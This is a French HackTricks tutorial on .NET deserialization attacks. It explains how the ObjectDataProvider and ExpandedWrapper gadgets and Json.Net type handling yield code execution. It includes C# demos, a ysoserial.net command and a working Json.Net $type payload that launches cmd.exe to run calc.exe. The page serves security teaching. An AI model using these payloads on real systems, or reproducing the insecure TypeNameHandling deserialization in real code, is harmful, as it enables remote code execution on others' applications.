# Base de désérialisation .Net (gadget ObjectDataProvider, ExpandedWrapper et Json.Net)
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Ce post est dédié à **comprendre comment le gadget ObjectDataProvider est exploité** pour obtenir une exécution de code à distance (RCE) et **comment** les bibliothèques de sérialisation **Json.Net et xmlSerializer peuvent être abusées** avec ce gadget. ## Gadget ObjectDataProvider D'après la documentation : _la classe ObjectDataProvider enveloppe et crée un objet que vous pouvez utiliser comme source de liaison_.\ Oui, c'est une explication étrange, voyons donc ce que cette classe a d'intéressant : Cette classe permet de **envelopper un objet arbitraire**, d'utiliser _**MethodParameters**_ pour **définir des paramètres arbitraires**, puis **d'utiliser MethodName pour appeler une fonction arbitraire** de l'objet arbitraire déclaré en utilisant les paramètres arbitraires.\ Par conséquent, l'**objet** arbitraire **exécutera** une **fonction** avec des **paramètres tout en étant désérialisé.** ### **Comment est-ce possible** L'espace de noms **System.Windows.Data**, trouvé dans le fichier **PresentationFramework.dll** à `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, est l'endroit où l'ObjectDataProvider est défini et implémenté. En utilisant [**dnSpy**](https://github.com/0xd4d/dnSpy) vous pouvez **inspecter le code** de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode** ![](<../../.gitbook/assets/image (427).png>) Comme vous pouvez le constater, lorsque `MethodName` est défini, `base.Refresh()` est appelé, regardons ce qu'il fait : ![](<../../.gitbook/assets/image (319).png>) Ok, continuons à voir ce que fait `this.BeginQuery()`. `BeginQuery` est remplacé par `ObjectDataProvider` et voici ce qu'il fait : ![](<../../.gitbook/assets/image (345).png>) Notez qu'à la fin du code, il appelle `this.QueryWorke(null)`. Voyons ce que cela exécute : ![](<../../.gitbook/assets/image (596).png>) Notez que ce n'est pas le code complet de la fonction `QueryWorker` mais cela montre la partie intéressante : Le code **appelle `this.InvokeMethodOnInstance(out ex);`** c'est la ligne où la **méthode définie est invoquée**. Si vous voulez vérifier que simplement en définissant le _**MethodName**_\*\* il sera exécuté\*\*, vous pouvez exécuter ce code : ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` Notez que vous devez ajouter en tant que référence _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ pour charger `System.Windows.Data` ## ExpandedWrapper En utilisant l'exploit précédent, il y aura des cas où l'**objet** va être **désérialisé en tant qu'instance** d'_**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, **aucune connaissance du type d'objet enveloppé** dans l'instance _ObjectDataProvider_ (`Process` par exemple). Vous pouvez trouver plus d'[informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1). Cette classe permet de **spécifier les types d'objets encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\ Cela est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure d'**envelopper _ObjectDataProvider_** dans une instance de **_ExpandedWrapper_** et **lors de la désérialisation** de cette classe, elle **créera** l'objet _**OjectDataProvider**_ qui **exécutera** la **fonction** indiquée dans _**MethodName**_. Vous pouvez vérifier ce wrapper avec le code suivant: ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net Sur la [page web officielle](https://www.newtonsoft.com/json), il est indiqué que cette bibliothèque permet de **sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET**. Ainsi, si nous pouvions **désérialiser le gadget ObjectDataProvider**, nous pourrions provoquer une **RCE** simplement en désérialisant un objet. ### Exemple Json.Net Tout d'abord, voyons un exemple sur la façon de **sérialiser/désérialiser** un objet en utilisant cette bibliothèque : ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### Abus de Json.Net En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net) j'ai créé l'exploit : ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` Dans ce code, vous pouvez **tester l'exploit**, il vous suffit de l'exécuter et vous verrez qu'une calculatrice est exécutée : ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ```
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).